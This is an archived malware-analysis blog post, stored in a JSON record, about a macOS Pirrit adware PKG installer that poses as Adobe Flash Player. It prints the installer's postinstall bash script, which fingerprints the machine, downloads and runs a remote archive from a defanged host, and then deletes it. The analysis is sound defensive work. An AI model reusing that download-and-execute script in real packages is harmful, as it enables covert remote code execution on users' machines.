{
	"id": "fa2bec09-1211-438a-bcf3-392626f1ee3d",
	"created_at": "2026-04-06T01:32:40.034281Z",
	"updated_at": "2026-04-10T03:21:12.306834Z",
	"deleted_at": null,
	"sha1_hash": "a038646db25d9065d9303a099a69374327b6b647",
	"title": "Analyzing a Pirrit adware installer",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 285966,
	"plain_text": "Analyzing a Pirrit adware installer\nPublished: 2022-05-13 · Archived: 2026-04-06 01:11:23 UTC\nWhile Windows holds the largest market share on malware, macOS has its fair share of threats that mostly exist in an\nadware/grayware area. In this post I want to walk through how a Pirrit PKG file installer works. There are lots of more\ncomplex threats, but this is a good place to start if you’re just jumping into analysis. If you want to follow along at home,\nI’m working with this file in MalwareBazaar:\nhttps://bazaar.abuse.ch/sample/d39426dbceb54bba51587242f8101184df43cc23af7dc7b364ca2327e28e7825/.\nTriaging the installer\nFirst, we need to verify we’re looking at a macOS installer file. To do this, we can use file and diec .\n1\n2\n3\n4\n5\n6\nremnux@remnux:~/cases/pirrit$ file FlashPlayer_01.0.pkg\nFlashPlayer_01.0.pkg: xar archive compressed TOC: 4540, SHA-1 checksum\nremnux@remnux:~/cases/pirrit$ diec FlashPlayer_01.0.pkg\nBinary\n Archive: XAR\nThe macOS pkg installer file format is a XAR archive, so the output from both utilities jives with what I would expect. From\nhere we have to extract the installer material.\nExtracting the package contents\nTo extract the package contents we can use bsdtar from the libarchive-tools Ubuntu Linux package. The usual tar\nutility doesn’t work for me, but the FreeBSD implementation in the package works.\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\nremnux@remnux:~/cases/pirrit$ mkdir extracted\nremnux@remnux:~/cases/pirrit$ bsdtar xvf FlashPlayer_01.0.pkg -C extracted/\nx Distribution\nx Resources\nx Resources/adobe_backgrounda.png\nx Resources/en.lproj\nx Resources/en.lproj/iem.html\nx Resources/adobe_background.png\nx base.pkg\nx base.pkg/Payload\nx base.pkg/Bom\nx base.pkg/Scripts\nx base.pkg/PackageInfo\nAfter successfully extracting the files to the “extracted” folder, we can browse around the installer file’s contents. The first\nstep will be inspecting the extracted Distribution file.\nInspecting Distribution\nThe Distribution file contains details to help define and control the installation experience, which may include multiple\npackages within a single PKG file. In most case, the file is easily viewed in a text editor.\n1\n2\n3\n4\nInstall Wizz https://forensicitguy.github.io/analyzing-pirrit-adware-installer/\nPage 1 of 5\n\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26 #base.pkg The installer-script tag gives some metadata regarding what tools created the installer file. In this case it looks like the\nauthors possibly used PackageMaker 3.0.3. This metadata is possibly arbitrary because I’ve encountered Distribution\nfiles that don’t have it inside. The next interesting thing is the chunk of JavaScript code contained within the script tag\nand called by the installation-check tag. In this code, the developer defined a pm_install_check() which determines\nthe current system’s macOS version using system.version.ProductVersion . The version number is compared to 10.5 and\nthe installation will only proceed if the version is later than that version. If the macOS version is older than Snow Leopard,\nthe installation fails.\nFinally, the Distribution file references a base.pkg package that will be applied to the system during installation. We\nsaw some references to base.pkg during extraction, so let’s go check that out.\nExamining base.pkg\nGetting a directory listing for base.pkg , we can see a few files.\n1\n2\n3\n4\n5\n6\n7\n8\nremnux@remnux:~/cases/pirrit/extracted/base.pkg$ ll\ntotal 24\ndrwxr-xr-x 2 remnux remnux 4096 Apr 29 2017 ./\ndrwxrwxr-x 4 remnux remnux 4096 May 13 20:30 ../\n-rw-r--r-- 1 remnux remnux 1022 Apr 29 2017 Bom\n-rw-r--r-- 1 remnux remnux 394 Apr 29 2017 PackageInfo\n-rw-r--r-- 1 remnux remnux 114 Apr 29 2017 Payload\n-rw-r--r-- 1 remnux remnux 697 Apr 29 2017 Scripts\nThere are a few files here. First, Bom is a “bill of materials” file. This file is supposed to contain a list of files and things to\ntouch during the installation and it doesn’t typically contain malicious code. One of the things on my “to-do” list is to write a\ntool I like to parse Bom files. The next interesting file is PackageInfo . This is a XML file that describes the contents of\nbase.pkg .\n1\n2\n3\n4\n5\n6\n7\nhttps://forensicitguy.github.io/analyzing-pirrit-adware-installer/\nPage 2 of 5\n\n8\r\n9\r\n\u003c/bundle-version\u003e\r\n\u003c/pkg-info\u003e\r\nThe payload tag has some metadata to show that the installed components are supposed to be 2 files totaling 200 KB in\r\nsize. A payload size this small typically indicates that there isn’t much of any payload in the package at all, I’d expect there\r\nto be script content here rather than Mach-O binaries. The scripts tag specifies that we can expect a postinstall script\r\nto be present and execute during installation. In many cases you’ll also see a preinstall script. In legitimate installers\r\nthese scripts are intended to prepare a system for installation and then clean up components afterward. In malicious\r\ninstallers, the scripts are usually used to establish persistence or download additional content.\r\nLet’s jump over to inspect the package payload.\r\nExtracting and analyzing any payloads\r\nIn macOS PKG files, the “payload” and “script” contents are stored within archives that are compressed using cpio and gzip.\r\nWe can extract any contents pretty easily on the Linux command line.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\nremnux@remnux:~/cases/pirrit/extracted/base.pkg$ file Payload\r\nPayload: gzip compressed data, last modified: Sat Apr 29 21:30:57 2017, from Unix, original size modulo 2^32 512\r\nremnux@remnux:~/cases/pirrit/extracted/base.pkg$ cat Payload | gunzip | cpio -i\r\n1 block\r\nremnux@remnux:~/cases/pirrit/extracted/base.pkg$ ll\r\ntotal 28\r\ndrwxr-xr-x 3 remnux remnux 4096 May 13 21:18 ./\r\ndrwxrwxr-x 4 remnux remnux 4096 May 13 20:30 ../\r\ndrwxr-xr-x 2 remnux remnux 4096 May 13 21:17 Applications/\r\n-rw-r--r-- 1 remnux remnux 1022 Apr 29 2017 Bom\r\n-rw-r--r-- 1 remnux remnux 394 Apr 29 2017 PackageInfo\r\n-rw-r--r-- 1 remnux remnux 114 Apr 29 2017 Payload\r\n-rw-r--r-- 1 remnux remnux 697 Apr 29 2017 Scripts\r\nremnux@remnux:~/cases/pirrit/extracted/base.pkg$ tree -a Applications/\r\nApplications/\r\n0 directories, 0 files\r\nThe only thing within the package’s Payloads archive was an Applications folder, and it didn’t contain anything else. We\r\ncan do something similar for the Scripts archive.\r\nExtracting and analyzing any scripts\r\nJust like with Payloads, we can extract the contents of Scripts.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\nremnux@remnux:~/cases/pirrit/extracted/base.pkg$ cat Scripts | gunzip | cpio -i\r\n4 blocks\r\nremnux@remnux:~/cases/pirrit/extracted/base.pkg$ ll\r\ntotal 56\r\ndrwxr-xr-x 3 remnux remnux 4096 May 13 21:21 ./\r\ndrwxrwxr-x 4 remnux remnux 4096 May 13 20:30 ../\r\n-rw-r--r-- 1 remnux remnux 36 May 13 21:21 66c1ffac-c020-4385-b6c8-a23192676f00\r\n-rw-r--r-- 1 remnux remnux 36 May 13 21:21 7d13cfd4-0ea8-423c-aaca-d9724d1ae3f4\r\n-rw-r--r-- 1 remnux remnux 36 May 13 21:21 8b84eaf8-a670-4cd9-b519-46725438c885\r\n-rw-r--r-- 1 remnux remnux 36 May 13 21:21 8d6b1599-5bd7-4043-918c-b67863e24970\r\n-rw-r--r-- 1 remnux remnux 36 May 13 21:21 a62f3b05-8125-4b5e-b035-e49985109b9a\r\ndrwxr-xr-x 2 remnux remnux 4096 May 13 21:17 Applications/\r\n-rw-r--r-- 1 remnux remnux 1022 Apr 29 2017 Bom\r\n-rw-r--r-- 1 remnux remnux 36 May 13 21:21 c45eb9d2-0c19-44b3-bdc1-7f936567f746\r\n-rw-r--r-- 1 remnux remnux 394 Apr 29 2017 PackageInfo\r\nhttps://forensicitguy.github.io/analyzing-pirrit-adware-installer/\r\nPage 3 of 5\n\n17\r\n18\r\n19\r\n-rw-r--r-- 1 remnux remnux 114 Apr 29 2017 Payload\r\n-rwxr-xr-x 1 remnux remnux 756 May 13 21:21 postinstall*\r\n-rw-r--r-- 1 remnux remnux 697 Apr 29 2017 Scripts\r\nThe Scripts archive contained multiple files that are named with GUIDs. Inside those files are GUID values that match the\r\nname of the file. They don’t seem to add anything to the experience here, so we can focus on the postinstall script itself.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n#!/bin/bash\r\nfunc_act(){\r\n OS_Version=$(sw_vers -productVersion)\r\n mid=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, line, \"\\\"\"); printf(\"%s\\n\", line[4]); }')\r\n if [[ ${OS_Version} == *\"10.12\"* ]]; then\r\n /usr/bin/curl -s -L -o /var/tmp/act.tgz \"hxxp://c.firstinstallmac[.]club/is/cact?i=\"413cc336-95fb-4d47-aa10-d4f06f790e\r\n else\r\n /usr/bin/curl -s -L -o /var/tmp/act.tgz \"hxxp://c.firstinstallmac[.]club/is/cact?i=\"413cc336-95fb-4d47-aa10-d4f06f790e\r\n fi\r\n tar -xzf /var/tmp/act.tgz -C /var/tmp\r\n /var/tmp/act/act \"2712c147-7e15-4366-80e0-4c7b98d780f0\" \"413cc336-95fb-4d47-aa10-d4f06f790e1c\"\r\n sleep 120\r\n rm -rf /var/tmp/act/act\r\n rm -rf /var/tmp/act.tgz\r\n}\r\nfunc_act \u0026\r\nThe script defines a function func_act() which downloads and executes arbitrary content from a remote URL. The first\r\nfew lines grab the macOS version using sw_vers and the affected system’s UUID using ioreg . If macOS version on the\r\naffected system is running 10.12 (Sierra) a specific parameter is added to the URL called by curl . No matter the version,\r\nhowever, the script downloads an act.tgz file from c.firstinstallmac[.]club and writes it to disk. The script then\r\nunpacks it to /var/tmp/act . Finally, the script executes the process /var/tmp/act/act , feeding some UID values to it as\r\narguments before sleeping and then removing all the contents downloaded.\r\nAfter executing, the contents from postinstall should not exist on the affected system anymore.\r\nScript-only packages\r\nThis installer package is an example of something I’ve seen across Pirrit and WizardUpdate adware families: script-only\r\npackages. In these cases, no actual binary content exists in the installer files, and all the executable content is downloaded\r\nvia a script. I’m not really sure why developers do this, but I suspect it’s related to evading static signatures or allowing the\r\nadversary to distribute one single installer while the actual adware/malware downloaded can change out on demand.\r\nMasquerading as Adobe\r\nBefore stopping for the night, I want to cover something that is potentially concerning for victims and for legitimate\r\nsoftware developers. In this instance of malware and many others, the developer masquerades the installer to pose as an\r\nAdobe product. This is seen in an HTML file displayed during the installation that claims to be associated with “Flash\r\nPlayer” and a background image using an Adobe logo.\r\nhttps://forensicitguy.github.io/analyzing-pirrit-adware-installer/\r\nPage 4 of 5\n\nThis is even potentially an avenue that developers can use to fight adware, because this stuff definitely isn’t associated with\r\nAdobe in any way. Thank you for reading!\r\nSource: https://forensicitguy.github.io/analyzing-pirrit-adware-installer/\r\nhttps://forensicitguy.github.io/analyzing-pirrit-adware-installer/\r\nPage 5 of 5",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://forensicitguy.github.io/analyzing-pirrit-adware-installer/"
	],
	"report_names": [
		"analyzing-pirrit-adware-installer"
	],
	"threat_actors": [],
	"ts_created_at": 1775439160,
	"ts_updated_at": 1775791272,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/a038646db25d9065d9303a099a69374327b6b647.pdf",
		"text": "https://archive.orkl.eu/a038646db25d9065d9303a099a69374327b6b647.txt",
		"img": "https://archive.orkl.eu/a038646db25d9065d9303a099a69374327b6b647.jpg"
	}
}